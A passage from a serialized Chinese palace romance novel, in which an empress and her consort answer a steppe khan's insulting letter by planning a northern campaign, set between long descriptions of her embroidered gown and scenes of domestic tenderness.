而那长达五丈的苏锦拖尾,?更是毫无拘束地、迤逦地铺陈在榻下冰凉的白玉地板上,?如同一条墨金色的宁静河流,?甚至有几缕,?缠绕在了林臻端坐的榻沿。? 棉质的柔软与睡裙的宽松,让她完全沉浸在这种被呵护的舒适感中。 林臻身着浅青色常服,神情专注而温柔,指尖穿梭在她顺滑的发丝间,动作轻缓,仿佛在对待一件易碎的珍宝。 他的目光落在她微阖的眼睑上,那里投下长长的睫毛阴影,显得格外安宁。 “夫君,”慕容嫣懒懒地开口,?声音带着浓浓的鼻音,?像只被顺毛顺得舒服的猫儿,“今日不去看那些折子可好?” 林臻低头,在她发顶落下一个轻吻,声音低沉而宠溺:“好,都依嫣儿。今日谁也不见,什么事都比不上陪我的嫣儿重要。” 他的指尖轻轻按上她的太阳穴,力道适中地揉按着, “嫣儿近日劳神了,好好歇息。” 慕容嫣满足地喟叹一声,?往他掌心又蹭了蹭?:“有夫君在,朕什么都懒得想。” 她的语气充满了依赖,全然不见朝堂上那个杀伐决断的暴君影子。 然而,这温馨的静谧,再次被殿外急促而沉重的脚步声打破。 这一次,来的不是内侍监,而是身披轻甲、风尘仆仆的暗卫统领! 他面色凝重,甚至来不及行礼,便单膝跪地,声音带着前所未有的急促: “陛下!亲王!北境八百里加急!山东孔家余孽并非单纯死谏!暗卫查实,孔希仁之子孔衍桢,早在月前便已秘密出关,潜入漠北!其与蒙古鞑靼部汗王巴特尔暗中勾结!” “什么?!”林臻猛地抬头,眼神瞬间锐利如鹰,揉按的动作戛然而止。 慕容嫣也倏地睁开了眼睛,慵懒之色一扫而空,取而代之的是一片冰冷的清明。 暗卫统领继续禀报,语气沉痛:“孔衍桢携大量我朝尤其是昔日齐国降臣提供的边境布防图、军械铸造法残卷,献与巴特尔!更可恨的是,那蛮王巴特尔他” 统领的声音因愤怒而颤抖, “他不仅接纳了孔衍桢,竟还口出狂言!派人送来一封极其污秽不堪的国书!” “国书?”慕容嫣缓缓坐起身,?声音冷得像冰。 “是!”暗卫统领从怀中掏出一封以粗糙羊皮包裹、盖着狼头火漆的信函,双手高举过头顶, “巴特尔在信中狂妄宣称陛下您是‘被汉人养在笼中的金丝雀’说他蒙古铁骑不日将踏平长城,届时要要亲自来中原将陛下您‘请’回草原,做他的阏氏(王妃)!还说要将林亲王碎尸万段,头颅制成酒器!” 每一个字,都如同最恶毒的诅咒,带着漠北风沙的腥臊与蛮横,狠狠砸向凤寰宫这方温馨的天地!尤其是对慕容嫣的觊觎和对林臻的虐杀威胁,更是触犯了最深的禁忌! 寝殿内的空气瞬间凝固!温度骤降! 慕容嫣脸上最后一丝慵懒彻底消失,?取而代之的是一种极致的、仿佛能将空气都冻结的冰冷。她并没有立刻暴怒,?而是缓缓地,?极其缓慢地,?从榻上站起身。 那长达五丈的苏锦拖尾随着她的动作,?在光滑的地板上滑动,?发出细微却令人心悸的摩擦声。 林臻的脸色阴沉得可怕,眼中翻涌着滔天的怒火与杀意! 他猛地起身,一步跨到慕容嫣身前,并非保护,而是一种并肩面对强敌的姿态。他紧紧握住慕容嫣微凉的手,声音因极度愤怒而沙哑,却异常坚定: “嫣儿!漠北蛮子,痴心妄想!臣必亲率铁骑,踏平鞑靼部,将那巴特尔千刀万剐!将孔衍桢挫骨扬灰!竟敢如此亵渎嫣儿!臣绝不容忍!” 他的话语中充满了对慕容嫣的维护以及不容置疑的杀伐决心。 慕容嫣反手用力握了握他的手,?示意他稍安勿躁。她目光落在暗卫统领手中那封羊皮国书上,?眼神冰冷,?仿佛在看一件极其肮脏的秽物。 “拿来。”她淡淡地说。 暗卫统领膝行上前,将国书呈上。 慕容嫣并没有用手去接。 她伸出戴着墨玉扳指的右手,?用扳指的边缘,?极其嫌恶地,?轻轻挑开了那粗糙的羊皮卷。 目光快速扫过上面用歪斜汉字和蒙古文混合写就的、充满污言秽语和狂妄挑衅的文字。 她看着,?脸上没有任何表情,?甚至嘴角还缓缓勾起了一抹极淡的、却让人毛骨悚然的弧度。 “呵,”她轻笑一声,?笑声清脆,?却冰冷刺骨,“想做朕的夫君?还想用朕的夫君做酒器?” 她抬起眼,?看向林臻,?眼神中是一种混合着暴怒、残忍和一丝近乎兴奋的冰冷光芒?:“夫君,你听听,这漠北的野狼口气倒是不小。” 林臻心中剧痛,更涌起无限杀机,他沉声道:“嫣儿,此等狂徒,污言秽语,不必入耳!待臣提兵北上,定叫他后悔生在这世上!” 慕容嫣却摇了摇头。 她将目光重新投向那封国书,?忽然,她伸出另一只手,?并非去拿国书,而是轻轻抚过自己“神凤降世裙”袖口上那只巨凤的金线羽翼,?动作轻柔,?却带着一种令人胆寒的意味。 “他也配?”她轻声问,?像是自问,?又像是宣告。 下一秒,她猛地动作了?! 并非去撕碎国书,而是骤然回身?! 动作快如闪电,带着无与伦比的威仪与怒意! 那轻盈华贵的五丈苏锦拖尾因这迅猛无比的回转被猛地带起,墨金色的巨幅裙摆如同被彻底激怒的凤凰之翼,轰然展开,?唰啦一声扫过冰凉的白玉地板!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更璀璨、更耀眼的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在春日阳光下骤然闪现,金光璀璨夺目,华美辉煌到了极致! 与睡裙外袍的墨金底色形成了惊心动魄的对比,仿佛在静谧的寝宫中骤然爆发的、欲焚尽一切污秽的烈焰! 第919章 裙摆落下,华光内敛。 尊贵、耀眼,且带着碾碎一切挑衅的绝对权威! 裙摆落下,华光内敛。 但慕容嫣的杀意已如同实质的寒冰,瞬间弥漫整个寝殿! 她不再看那国书一眼,?仿佛多看一眼都会脏了眼睛。 她宽大喇叭袖下的手轻轻一摆,对暗卫统领冷然道:“把这脏东西拿去喂狗。看着狗吃完。” “是!”暗卫统领凛然应命,小心翼翼地将那被视为奇耻大辱的国书收起。 “传令。”慕容嫣的声音恢复了平日的清冷,?却带着一种山雨欲来的压迫感,“即刻起,封锁所有北上商道,严查一切出入关隘人员,凡有可疑,格杀勿论。” “令兵部、户部,三日之内,筹措大军三月粮草,集结于北境重镇‘镇北关’待命。” “令格物院,将最新打造的‘破甲弩’、‘轰天雷’全部调拨北境边军。” “令暗卫司,启动所有潜伏漠北的‘夜枭’,朕要知道鞑靼部的一举一动,尤其是汗王巴特尔的行踪!还有找到孔衍桢,朕要活的。” 她的命令清晰、迅速、冷酷,直指核心。 最后,她目光转向林臻,?眼神中的冰冷稍稍融化,?却带着不容置疑的决断?:“夫君,整顿京营精锐,三日后,随朕御驾亲征。” 林臻心中一紧,并非畏惧,而是担忧她的安危:“嫣儿!漠北苦寒,蛮族骁勇,你万金之躯。” 慕容嫣伸手,?用指尖轻轻按住了他的唇,?阻止了他后面的话。她的指尖微凉,带着墨玉的润泽。 “他既然点名要‘请’朕”慕容嫣的嘴角勾起那抹残忍的弧度,“朕便亲自去‘会会’他。让他看清楚他觊觎的到底是什么。” 她的语气平静,却蕴含着滔天的杀意与一种近乎傲慢的自信。 她再次看向暗卫统领?:“还有,给朕查!山东孔家,还有哪些人参与了此事?所有牵连者,无论亲疏,一律灭门。” “臣,遵旨!”暗卫统领叩首,迅速退下执行命令。 寝殿内再次只剩下二人。 方才的温馨旖旎已被肃杀取代。慕容嫣静静站立片刻,?然后,?她转身,?面向林臻。 她没有立刻说话,?只是走上前,?伸出双臂,?紧紧地抱住了他。? 将脸埋在他的胸前,?深深地吸了一口气,?仿佛在汲取他身上的温暖和力量。 ?宽大喇叭袖环住他的腰背,?墨金色的苏锦与他青色的常服紧密相贴。 林臻立刻回抱住她,用力地,仿佛要将她融入骨血。 他能感受到她身体的微颤,并非恐惧,而是极致的愤怒被强行压制后的生理反应。 “夫君,”她在他怀里闷闷地开口,?声音带着一丝不易察觉的沙哑,“朕有点生气。” 林臻心痛如绞,轻抚她的后背,声音温柔却坚定:“臣知道。嫣儿放心,有臣在,绝不会让任何蛮夷亵渎你分毫。此次北征,臣必为前锋,斩将夺旗,将那巴特尔的狂言,塞回他的喉咙里!” 慕容嫣在他怀里轻轻点了点头。过了一会儿,她抬起头,?眼眶有些微红,?但眼神已恢复了一片冰冷的杀伐决断。 她伸手,?用戴着墨玉扳指的指尖,?轻轻描摹着林臻的眉眼,?声音低沉?: “好。朕与夫君一同去。” “朕倒要看看是漠北的风沙硬。” “还是朕的刀更硬。” 窗外,暮春的阳光依旧明媚,却仿佛蒙上了一层来自北方的血色阴影。 凤寰宫内,温情散去,只剩下征伐前的冰冷决意。 那身?“神凤降世裙”??上的凤凰,似乎也昂起了头颅,准备再次振翅,焚尽一切来犯之敌。 ...... 乾元四年的初夏,悄然而至。 皇城内的石榴花开始吐出灼灼的红,太液池的荷尖也已探出水面。 然而,凤寰宫内的氛围,却在看似极致的缠绵悱恻中,悄然掺入了一丝来自遥远北疆的、凛冽的肃杀之气。 慕容嫣与林臻的恩爱,因漠北蛮王巴特尔那封极具侮辱性的“国书”,仿佛被投入了一块寒冰,表面温情依旧,内里却涌动起更为汹涌、也更为复杂的暗流。 慕容嫣并未立刻点兵出征,她似乎沉浸在一种猫捉老鼠般的、冷酷的玩味之中。 对她而言,漠北蛮族的威胁,与其说是危机,不如说是一个用以进一步巩固她与林臻之间那不容置疑的纽带,并尽情施展其暴虐手段的新舞台。 她愈发黏着林臻,那种依恋,带着一种近乎病态的占有欲,仿佛要通过极致的亲密,来驱散外界一切觊觎的目光和恶意的诅咒。 这一日,午后闷热,骤雨初歇,空气中弥漫着泥土与花草的清新气息。凤寰宫寝殿内,为了祛湿,角落里燃着淡淡的苏合香。 慕容嫣依旧只穿着那身已成为她标志的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?正与林臻并肩坐在临窗的暖炕上。 炕上铺着清凉的竹席,中间摆着一副巨大的、描绘了长城以北广袤草原与大漠的军事沙盘。 ?神凤降世裙在雨后略显朦胧的光线下,呈现出一种独特的韵味。?极致玄黑的苏锦底料吸吮着湿润的空气,色泽更显沉静深邃,织入的金色棉绒与真金线则在水汽中泛着一种柔和而湿润的暗金光泽,神秘高贵中透出一丝慵懒。 ?睡裙之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在静谧的午后少了几分征战沙场的戾气,那层层叠叠的凤羽更显华美精致,仿佛一只在雨后天晴时梳理羽毛的凤凰,尊贵威严中带着一丝闲适。 凤眸上的黑钻,光泽温润。?宽大轻盈的喇叭袖,一只袖口被她随意挽起,露出小半截雪白的手臂,另一只则软软地搭在林臻正在移动沙盘上小旗的手腕上。 她左手拇指上的墨玉扳指,触感微凉。而那长达五丈的苏锦拖尾,?并未拘束,?而是恣意地、迤逦地铺散在炕沿下光洁的金砖地上,?甚至有一部分,?漫延到了林臻所坐的脚踏旁,?墨金色的锦缎与深色的脚踏形成鲜明对比。 ?棉质的透气与睡裙的宽松,让她在微热的午后依旧保持舒爽。 林臻身着月白薄绸常服,墨发用一根简单的玉簪松松挽起,少了几分平日的冷峻,多了几分居家的温和与专注。 他正凝神于沙盘之上,修长的手指移动着代表敌我兵力的小旗,眉头微蹙,分析着漠北的地形与鞑靼部可能的动向。 他的神情专注,却又不失温柔,每当慕容嫣开口,他都会立刻侧耳倾听。 “夫君你看,”慕容嫣伸出戴着墨玉扳指的食指,?指尖轻轻点向沙盘上代表鞑靼王庭的标记,?声音懒洋洋的,?却带着一丝冰冷的锐利, “巴特尔那个蠢货把王庭设在这片草场倒是会选地方水草丰美可惜啊离咱们的镇北关太近了点,” 她的指尖在那标记周围画了个圈,仿佛在考虑如何收割自己的猎物。 林臻的目光随着她的指尖移动,沉声道:“嫣儿所言极是。此地虽好,却无险可守。我大军若出关疾进,数日便可兵临城下。只是漠北骑兵来去如风,恐其闻风而遁,难以全歼。” 他的语气中充满了战术上的考量和对完成慕容嫣意愿的执着。 “遁?”慕容嫣轻笑一声,?笑声如玉石相击,?却无端带起一丝寒意。她忽然侧过身,?将头轻轻靠在林臻的肩上,?宽大喇叭袖下的手顺势滑入他的掌心,?与他十指相扣,?墨玉扳指硌着他的皮肤,?带来微凉的触感。 第920章 只想做嫣儿最锋利的刀 “他既然夸下海口要‘请’朕去草原怎么会遁呢?” 她抬起眼,?凤眸中闪过一丝妖异的光, “朕倒是想看看他有没有这个胆子等着朕去。” 她的语气充满了玩味与一种居高临下的蔑视,仿佛巴特尔不是威胁,而是一个即将被玩弄于股掌之间的丑角。 林臻感受到她指尖的微凉和话语中的杀意,心中涌起一股混合着爱怜与暴怒的情绪。他收紧手指,将她的手牢牢握住,声音低沉而坚定: “他若敢等,为夫便为嫣儿斩下他的狗头,以儆效尤。他若想逃,” 林臻的眼中闪过冷光,“为夫便追到天涯海角,也定将他擒到嫣儿面前,任嫣儿处置。” 他的话语,既是承诺,也是宣誓,充满了对慕容嫣的绝对维护与对敌人的冷酷。 慕容嫣似乎很满意他的回答,?嘴角勾起一抹愉悦的弧度。她用指尖在他掌心轻轻挠了挠,?像只逗弄猎物的猫?:“还是夫君懂朕的心思。” 她顿了顿,?目光重新投向沙盘,?语气变得慵懒而残忍?: “不过在他等死之前朕得先送他几份‘大礼’免得他觉得朕怠慢了他。” 她微微直起身,?另一只手指向沙盘上几处水草丰美之地?: “传令给‘夜枭’让他们想办法在这些地方做点手脚。巴特尔不是喜欢喝马奶酒吗?朕请他喝点特别的。” 她的指尖轻轻敲击着沙盘边缘, “还有他那些分散在各处的部落也该热闹热闹了。告诉他们谁能提着邻居的人头来降朕赏他草场,赏他盐铁茶叶。” 她的计策毒辣而有效,旨在从内部瓦解敌人。 林臻点头:“为夫即刻去安排。此外,可令边军派出小股精锐,伪装成商队或流民,深入漠北,焚其粮草,掠其马群,断其耳目。让巴特尔先尝尝寝食难安的滋味。” “准。”慕容嫣慵懒地靠回引枕,?欣赏着林臻专注部署的侧脸。 她发现,?当她的夫君全心为她谋划征伐之事时,?那种沉稳果决的气质,?格外令人心动。 就在这时,殿外传来内侍监小心翼翼的通禀:“陛下,亲王,北境有密报至。” “进来。”慕容嫣懒懒地应了一声,?并未起身,?反而更往林臻身边靠了靠。 一名风尘仆仆的暗卫入内,跪地呈上一封蜡封的密信:“陛下,漠北最新消息。鞑靼部汗王巴特尔,近日于王庭大会诸部,气焰嚣张。他他当众将孔衍桢奉为上宾,并再次口出狂言,” 暗卫的声音有些迟疑。 “说。”慕容嫣眼皮都未抬,?把玩着林臻的手指。 暗卫硬着头皮道:“巴特尔说说陛下您是是‘中原皇帝养在金子笼子里不敢见人的小鸟’说他他已备好最烈的骏马和最软的皮鞭,只等踏平长城就来接您,还说要将林亲王剥皮抽筋做成踏脚垫。” 话音未落,林臻周身瞬间迸发出凛冽的杀气! 他猛地攥拳,指节发白,眼中怒火滔天! “放肆!”他低喝一声,声音如同闷雷。 慕容嫣的反应却截然不同。她不仅没有动怒,?反而“噗嗤”一声笑了出来,?笑声清脆,?带着毫不掩饰的讥讽。 她抬手,?用指尖轻轻抚平林臻紧皱的眉头,?语气带着一种令人胆寒的轻松?:“夫君何必跟一个将死之人生气?你听听踏脚垫?他倒是挺会想。” 她笑着,?转向暗卫,?语气慵懒?:“还有吗?比如他打算用什么来装朕这只‘小鸟’?金笼子?朕倒是挺挑的。” 暗卫冷汗涔涔:“还有他命人打造了一副纯金的镣铐,说要用它锁住陛下的脚踝。” “金镣铐?”慕容嫣的笑意更深了,?眼中却冰冷如霜,“可惜了那金子朕嫌脏。” 她顿了顿,?对林臻说,?语气带着一丝撒娇般的残忍?: “夫君到时候把那镣铐熔了给朕铸个溺器吧?就用它来盛巴特尔的脑浆好不好?” 林臻心中的怒火被她这轻描淡写却极致侮辱的话语奇异地抚平了些,取而代之的是一种与她同频的、冰冷的杀意。他握住她的手,沉声道:“好。为夫会亲手熔了它,按嫣儿的意思做。” 慕容嫣满意地笑了。她挥退暗卫,?然后,?忽然,?她转过身,?面对面跨坐到林臻的腿上?!?双臂环住他的脖颈,?宽大喇叭袖垂落,?拂过他的耳际。? 那五丈长的拖尾,?也因这动作,?在炕上和她身后,?堆叠出华丽的褶皱。 她直视着林臻的眼睛,?目光灼灼,?带着一种近乎妖异的专注与占有?:“夫君你看外面有那么多不知死活的东西惦记着朕也惦记着要你的命” 她的声音低沉,带着一丝蛊惑, “所以你更要好好的待在朕身边哪里也不准去朕要你平平安安的看着朕把那些痴心妄想的蠢货一个一个碾碎。” 这与其说是情话,不如说是一种偏执的宣告和命令。 林臻心中悸动,伸手紧紧搂住她的腰,将她更紧地贴向自己。他的目光深邃,映照着她绝美而危险的面容: “为夫的命是嫣儿的,为夫的人也是嫣儿的。除了嫣儿身边,为夫哪里也不去。为夫会一直看着,看着我的嫣儿,如何君临天下,让所有冒犯者,付出代价。” 他低头,额头抵着她的额头,呼吸相闻, “为夫只想做嫣儿最锋利的刀,最坚固的盾。” 慕容嫣似乎被他的话语取悦,?主动仰头,?吻上他的唇。 这个吻不再是浅尝辄止,?而是带着一种贪婪的索取和标记般的占有欲,?缠绵而深入。 良久,她才缓缓分开,?气息微喘,?脸颊泛着红晕,?眼神却依旧清醒而冰冷。她用指尖擦去他唇上沾染的她的口脂,?声音沙哑而性感?:“好,那我们就好好陪他们玩一玩。” 她从他腿上下来,?站在炕边,?目光再次投向那巨大的沙盘,?眼神已彻底恢复了帝王的冷酷与算计。 “传朕旨意。”她声音清晰,“按方才所议,全力施行。另,告诉兵部,新编练的‘神机营’,十日内开赴镇北关。朕要亲自去验收一下这些新‘玩具’的威力。” 她顿了顿,?嘴角勾起一抹残忍的弧度?:“至于巴特尔那份‘厚礼’朕会给他准备一份更大的‘回礼’。” 说完,她猛地回身?! 动作带着决绝的杀意与不容置疑的威仪! 那轻盈华贵的五丈苏锦拖尾因这迅猛的回转被猛地带起,墨金色的巨幅裙摆如同蓄势待发的凤凰之翼,轰然展开,?唰啦一声扫过炕沿与地面!?? 随着裙摆的骤然飘起——赫然露出了里面那华丽无比、金芒璀璨的“满地织金”内衬!?? 那内衬上的百凤朝阳纹在光下骤然闪现,尊贵、耀眼,仿佛在平静的帷幄之中,已预见了北疆即将燃起的冲天血火! 裙摆落下,华光内敛。 但征伐的序曲,已然奏响。 慕容嫣倚回林臻怀中,?任由他环抱着自己,?目光却穿越了宫殿,?投向了那片风沙弥漫的北方草原。 第921章 霸道而决绝 漠北的阴云如同悬于天际的秃鹫,投下不祥的阴影,却奇异地未能侵入凤寰宫这方被慕容嫣以绝对意志隔绝出来的天地。 相反,那来自远方的、针对她与她夫君的恶毒诅咒与觊觎,仿佛成了一剂催化剂,让她对林臻的占有欲和那种混合着愧疚、依赖与深情的复杂情感,发酵得愈发浓烈。 她似乎决心要在风暴来临前,将所有的温情与专注,都倾注于这唯一的港湾。 自那日商议北征之后,慕容嫣对待林臻的态度,发生了一种微妙而深刻的变化。 她依旧唤他“夫君”,自称“朕”,语气中帝王的威仪不曾稍减,但那份黏腻与细致入微的关切,却达到了前所未有的程度。 她不再仅仅是享受他的陪伴与守护,而是开始以一种近乎笨拙却又无比强势的方式,去“照顾”他,去弥补她心中那因自己过往的冷酷和外界威胁而给他带来的“委屈”。 这种“照顾”,带着慕容嫣独有的烙印——霸道、专注,且不容拒绝。 时值初夏深夜,凤寰宫寝殿内烛火通明,却异常静谧。 白日的闷热已散去,晚风透过半开的轩窗,带来御花园中夜来香的阵阵幽香,与殿内龙涎香的暖甜气息交织。 慕容嫣早已沐浴更衣,却并非换上寝衣,而是依旧穿着那身与她肌肤相亲、仿佛已成为她第二层肌肤的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 今夜,她似乎格外在意这身睡裙的平整。 ?极致玄黑的苏锦底料在夜晚柔和的烛光下,吸吮着光线,呈现出一种比夜色更沉静、更纯粹的墨色,织入的金色棉绒与真金线在烛火映照下,流淌着温暖而内敛的暗金波光,神秘高贵中透出一种居家的、难以言喻的温柔。 ??“神凤降世裙”之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在静谧的夜晚敛去了所有锋芒,那层层叠叠的凤羽纹理在光影下更显细腻华美,仿佛一只收拢了羽翼、栖息于爱巢的凤凰,尊贵威严中流露出罕见的宁静与归属感。 凤眸上的黑钻,光泽柔和。 ?宽大轻盈的喇叭袖,袖口金线流苏纹丝不动,垂落时显得格外温顺。 她左手拇指上的墨玉扳指,也被仔细擦拭过,泛着莹润的光泽。而那长达五丈的苏锦拖尾,?更是被宫女们小心翼翼地在身后铺展成一个完美的扇形,?平整地铺陈在冰凉光滑的墨玉地板上。 ?没有一丝褶皱,?墨金色的锦缎在烛光下如同一条静止的、华贵的河流。? 棉质的柔软亲肤与睡裙的宽松设计,在此刻更凸显出一种居家的舒适与惬意。 林臻沐浴完毕,穿着一身素白软缎寝衣,墨发微湿,披散在肩头,更衬得面容清俊,眉宇间带着一丝沐浴后的松弛与温和。 他踏入寝殿,看到慕容嫣正背对着他,站在巨大的琉璃镜前,似乎正在端详镜中的自己,又像是在等待着什么。 烛光勾勒出她穿着神凤降世裙的窈窕背影,那迤逦在地的五丈拖尾,在寂静的殿内,有一种惊心动魄的华美。 “嫣儿?”林臻轻声唤道,脚步放缓。 慕容嫣闻声,?缓缓转过身来。 她的容颜在烛光下愈发显得绝世,此刻脸上没有平日朝堂上的冰冷,也没有算计北疆时的锐利,只有一种平静的、甚至带着一丝奇异柔光的神情。 她目光落在林臻微湿的头发上,?眉头微微蹙起,?语气带着不容置疑的关切?:“头发还未干透,怎么就出来了?着了风寒如何是好?” 说着,她迤逦前行,?五丈拖尾在身后平滑地移动,?来到林臻面前。? 不由分说,?拉着他走到窗边的软榻坐下。 然后,她竟屈尊降贵地,?亲自从旁边宫女手中接过一条柔软干燥的白绒巾,?站在榻边,?开始为林臻擦拭湿发。 她的动作并不十分熟练,甚至有些笨拙,显然这位惯于执掌生杀大权的女帝,极少做这等服侍人的事。 但她的神情却异常专注,小心翼翼,仿佛在对待一件易碎的稀世珍宝。 指尖戴着那枚墨玉扳指,?偶尔会不经意地轻轻擦过林臻的头皮,?带来一丝微凉的触感。 林臻浑身一僵,几乎要站起来:“嫣儿!不可!我自己来” “别动。”慕容嫣按住他的肩膀,?声音轻柔,?却带着帝王的威严,“朕说了算。” 林臻只得顺从地坐好,感受着她并不熟练却极其认真的动作,心中涌起一股难以言喻的暖流和酸涩。 他闭上眼,任由她摆布,鼻尖萦绕着她身上独特的冷梅异香和神凤降世裙上苏锦的淡淡气息。 擦干了头发,慕容嫣又命宫女端来一碗一直温着的冰糖燕窝粥。 她并不假手他人,?亲自端起那白玉碗,?用小巧的玉勺舀起一勺,?轻轻吹了吹,?递到林臻唇边?:“今日议事晚了,夫君定是饿了。先用些粥,暖暖胃。” 她的凤眸一瞬不瞬地看着他,眼神清澈,带着一种纯粹的期待。 宽大的喇叭袖随着她的动作微微晃动。 林臻看着她近在咫尺的容颜,看着她眼中那份罕见的、几乎可以称之为“贤惠”的神情,心中震撼无比。 他张口,咽下那勺甜糯的粥,喉结滚动,低声道:“嫣儿,我自己来就好。” 慕容嫣却摇了摇头,?执意要亲手喂他?:“朕今日就想好好伺候夫君一次。” 她的语气平静,却蕴含着一股执拗,“算是为朕以前有时脾气不好补偿夫君。” 她的话语直白而坦诚,带着一种帝王的霸道和一丝不易察觉的歉意。林臻心中剧震,看着她,再也说不出拒绝的话,只能一口一口,由着她将一碗粥喂完。 用完粥,慕容嫣又亲自拧了热帕子,?为他细致地擦拭嘴角。她的指尖隔着温热的帕子,动作轻柔。做完这一切,她似乎松了口气,?脸上露出一丝满意的、极淡的笑容。 她挥手屏退了所有宫人。偌大的寝殿内,只剩下他们二人,烛火噼啪,更显静谧。 慕容嫣走到林臻面前,?并没有坐下,?而是微微俯身,?双手捧起他的脸,?目光深深地望进他的眼底。?烛光在她身后,?为她周身镀上一层柔和的光晕,?那身神凤降世裙的墨金色泽在光晕中愈发显得神秘而高贵。 第922章 ?前所未有的柔软 “夫君,”她轻声开口,?声音带着一丝沙哑,?前所未有的柔软,“这些日子辛苦你了。” 她指的是朝堂的纷争,?北疆的威胁,?以及她自身那反复无常的脾气带来的压力。 林臻心中一痛,握住她的手:“不辛苦。能守在嫣儿身边,是我最大的福分。” 慕容嫣摇了摇头,?指尖轻轻抚过他微蹙的眉宇?:“朕知道朕有时候很过分。” 她顿了顿,?像是下了很大决心,“尤其是上次朕不该那样凶你。” 她指的是之前因孔希仁血谏和漠北国书之事,她曾对他流露出的冰冷与质疑。 林臻紧紧握住她的手:“嫣儿,为夫从未放在心上。为夫明白,你的心。” “不,”慕容嫣打断他,?眼神执拗,“朕放在心上。” 她低头,?额头轻轻抵住他的额头,?呼吸可闻,“所以朕今晚要好好补偿你。” 说完,她直起身,?开始,?以一种极其缓慢而专注的速度,?解自己神凤降世裙腰间的系带。 林臻愕然地看着她。 慕容嫣的动作不带丝毫情欲的挑逗,?反而有一种近乎虔诚的庄重。? 随着墨金色的腰带松开,?睡裙的前襟微微敞开,?露出里面同样质地的、绣着精致缠枝莲纹的里衬。 她并没有继续脱衣,?而是拉着林臻的手,?将他带到那张宽大无比的龙凤合欢榻边。 “躺下。”她命令道,?语气依旧带着不容置疑,?但眼神却柔软得能滴出水来。 林臻依言躺下。慕容嫣则跪坐在他身侧。她深吸一口气,?伸出双手,?开始为他按摩肩颈。 她的手法依旧生疏,但极其用心。指尖戴着那枚墨玉扳指,?起初有些冰凉,?但很快便被他身体的温度焐热。 她仔细地揉捏着他因为长期戎马生涯和近日操劳而紧绷的肌肉,?从肩颈到手臂,?再到后背。 ?宽大的喇叭袖不时拂过他的皮肤,?带来丝绸般的触感和她身上清冷的梅香。? 那五丈长的拖尾,?一部分铺在榻上,?一部分垂落榻边,?如同墨金色的云锦,?将他们环绕其中。 她很少说话,?只是专注地按摩着,?偶尔会问一句?: “这里疼吗?” “力道重不重?” 林臻闭着眼,感受着她指尖传来的、笨拙却无比真挚的力度,感受着她呼吸的靠近,感受着那身神凤降世裙的布料摩擦发出的细微声响。 他心中的震撼与感动,如同潮水般汹涌。这位执掌乾坤、生杀予夺的女帝,此刻正放下所有的身段,用她最不擅长的方式,试图抚平他的疲惫。 这种反差,比任何刻意的温柔,都更能击中他内心最柔软的地方。 按摩了许久,直到林臻感觉周身舒畅,紧绷的神经彻底放松下来。慕容嫣才停下来,?额角已渗出细密的汗珠。她用袖口轻轻拭了拭汗,?然后,?俯下身,?在林臻的唇上印下一个轻柔如羽的吻。 “夫君,”她趴在他胸前,?声音带着一丝疲惫的沙哑,?和前所未有的依赖,“以后朕尽量不对你发脾气了。” 林臻心中巨震,伸手将她紧紧拥入怀中。她的身体柔软而温暖,隔着神凤降世裙的棉质面料,能感受到她平稳的心跳。 “嫣儿,”他的声音哽咽,“你不必如此,你真的不必。” “朕愿意。”慕容嫣打断他,?将脸埋在他颈窝,“朕只有你夫君朕只有你了”她的声音很低,带着一丝不易察觉的脆弱,“所以你要好好的一直陪在朕身边不准离开不准比朕先走” 这近乎孩子气的、霸道的要求,却透露出她内心深处最大的恐惧。 林臻心中痛楚与爱意交织,将她抱得更紧,仿佛要将她揉入骨血:“好,为夫答应你。为夫会一直陪着嫣儿,护着嫣儿,直到生命的尽头。” 得到他的承诺,慕容嫣似乎安心了些。 她在他怀里调整了一个更舒适的姿势,?像只找到归宿的鸟儿,?渐渐放松下来。? 烛火摇曳,?将两人相拥的身影投在墙壁上,?那身迤逦的神凤降世裙的拖尾,?在光影中铺展成一片华丽的背景。 殿外,夏虫鸣叫,月色如水。 殿内,温情脉脉,仿佛时光就此停滞。 暴虐的女帝,在她唯一的挚爱怀中,收敛了所有的锋芒,展现出了最深沉的依赖与温柔。 ...... 漠北的风沙似乎已能嗅到一丝腥咸的气息,边关的军报如雪片般飞入皇城,字里行间透着越来越浓的硝烟味。 然而,在凤寰宫这方被慕容嫣以绝对意志笼罩的天地里,时间却仿佛被拉长、凝滞,沉浸在一片与外界的紧张截然相反的、极致黏稠的温情与静谧之中。 慕容嫣似乎将北征前最后的、也是最宝贵的一段时光,毫无保留地全部倾注在了林臻身上。 那种“补偿”,已不再是简单的示好,而升华为一种近乎偏执的、要将彼此烙印进骨血里的占有与确认。 时近黄昏,夕阳的余晖将天空染成一片瑰丽的橘红,透过凤寰宫寝殿敞开的雕花长窗,在地板上投下长长的、温暖的光斑。 殿内没有点燃烛火,全靠这自然的天光照明,显得格外宁静祥和。 慕容嫣依旧只穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?正与林臻并肩坐在临窗的一张宽大的紫檀木软榻上。 榻上铺着凉滑的玉簟,中间矮几上摆放着一套精美的茶具,茶香袅袅。 ?神凤降世裙在黄昏温暖柔和的光线下,呈现出一种不同于白日的华美。? 极致玄黑的苏锦底料吸吮着金色的夕阳,色泽愈发深沉内敛,仿佛蕴藏着无尽的力量;织入的金色棉绒与真金线则在斜照下反射出更加温暖、更加流动的暗金辉光,神秘高贵中透出难得的暖意。? 睡裙之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在夕照下少了几分肃杀,那层叠的凤羽被镀上了一层金边,更显雍容华贵,仿佛一只在落日余晖中舒展羽翼的祥瑞之鸟,尊贵威严中带着一丝慵懒的平和。 凤眸上的黑钻,也映照着暖光,少了几分冰冷。?宽大轻盈的喇叭袖,一只随意搭在榻沿,另一只则覆在林臻置于膝上的手背上。 她左手拇指上的墨玉扳指,在暖光下泛着温润的光泽。 而那长达五丈的苏锦拖尾,?并未刻意铺展,?而是自然地、迤逦地垂落榻边,?一部分铺在光滑的地板上,?墨金色的锦缎在夕阳下如同一条流淌的熔金河流,?静谧而华丽。 ?棉质的亲肤与睡裙的宽松,让她在这种居家氛围中更显自在。 